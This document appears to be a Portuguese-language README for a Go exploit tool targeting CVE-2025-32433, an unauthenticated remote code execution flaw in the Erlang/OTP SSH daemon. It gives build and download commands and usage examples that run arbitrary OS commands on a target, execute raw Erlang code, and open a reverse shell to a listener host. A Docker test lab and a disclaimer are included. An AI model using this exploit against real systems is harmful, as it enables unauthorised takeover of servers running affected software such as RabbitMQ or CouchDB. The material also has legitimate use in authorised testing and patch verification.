
PoC em Go para CVE-2025-32433 — RCE não autenticado no SSH do Erlang/OTP.
CVE-2025-32433 é uma vulnerabilidade crítica de execução remota de código não autenticada no servidor SSH do Erlang/OTP. Antes das versões corrigidas, o daemon SSH processa incorretamente as mensagens de canal antes que a autenticação seja concluída, permitindo que um atacante abra um canal e envie solicitações exec sem nunca fornecer credenciais. Qualquer aplicação que incorpore o servidor SSH do Erlang/OTP (incluindo Elixir, RabbitMQ, CouchDB e outras) é afetada quando a porta SSH está exposta.
Este PoC em Go conecta-se a uma porta SSH alvo, envia um SSH_MSG_CHANNEL_OPEN especialmente elaborado seguido de um payload SSH_MSG_CHANNEL_REQUEST exec — totalmente pré-autenticação — fazendo com que o nó Erlang remoto execute comandos arbitrários do sistema operacional. A execução é cega: nenhuma saída do comando é retornada ao atacante.
Versões afetadas: Erlang/OTP < 27.3.3, < 26.2.5.11, < 25.3.2.20
bash -c, encapsulados automaticamente no os:cmd do Erlanggen_tcp sem depender de bash ou /dev/tcpBinários pré-compilados para macOS, Linux e Windows estão disponíveis na página de Releases. Baixe o binário para sua plataforma e execute-o diretamente — não é necessária a instalação do Go.
Ou compile a partir do código-fonte:
[!NOTE] Requer Go 1.21+. Sem dependências externas — usa apenas a biblioteca padrão do Go.
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433 cve-2025-32433.go
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433.exe cve-2025-32433.go
go install github.com/joshuavanderpoll/cve-2025-32433@latest
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22
Usage of ./cve-2025-32433:
-host string
Target IP or hostname
-port int
SSH port (default: 22) (default 22)
-timeout int
Connection timeout in seconds (default: 5) (default 5)
-command string
Shell command to run on the target (wrapped in os:cmd)
-code string
Raw Erlang expression to execute on the target
-shell
Send an Erlang-native gen_tcp reverse shell
-lhost string
Listener IP for reverse shell (required with -shell)
-lport int
Listener port for reverse shell (default: 4444)
./cve-2025-32433 -host 127.0.0.1 -port 2222

./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt'

A flag -shell envia um payload de reverse shell nativo gen_tcp do Erlang — sem necessidade de bash ou /dev/tcp. Inicie um listener primeiro e depois envie o exploit.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444

A flag -code envia uma expressão Erlang pura diretamente — sem wrapper bash -c. Útil para operações Erlang puras ou quando o bash não está disponível no alvo. Como a execução é cega, escreva a saída em um arquivo e recupere-a separadamente.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'

Mais detalhes em docker/DOCKER.md
cd docker/
docker compose down
docker compose up -d
# You can test at -host 127.0.0.1 -port 2222
Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa. O criador não assume nenhuma responsabilidade por qualquer uso indevido ou dano causado pela ferramenta.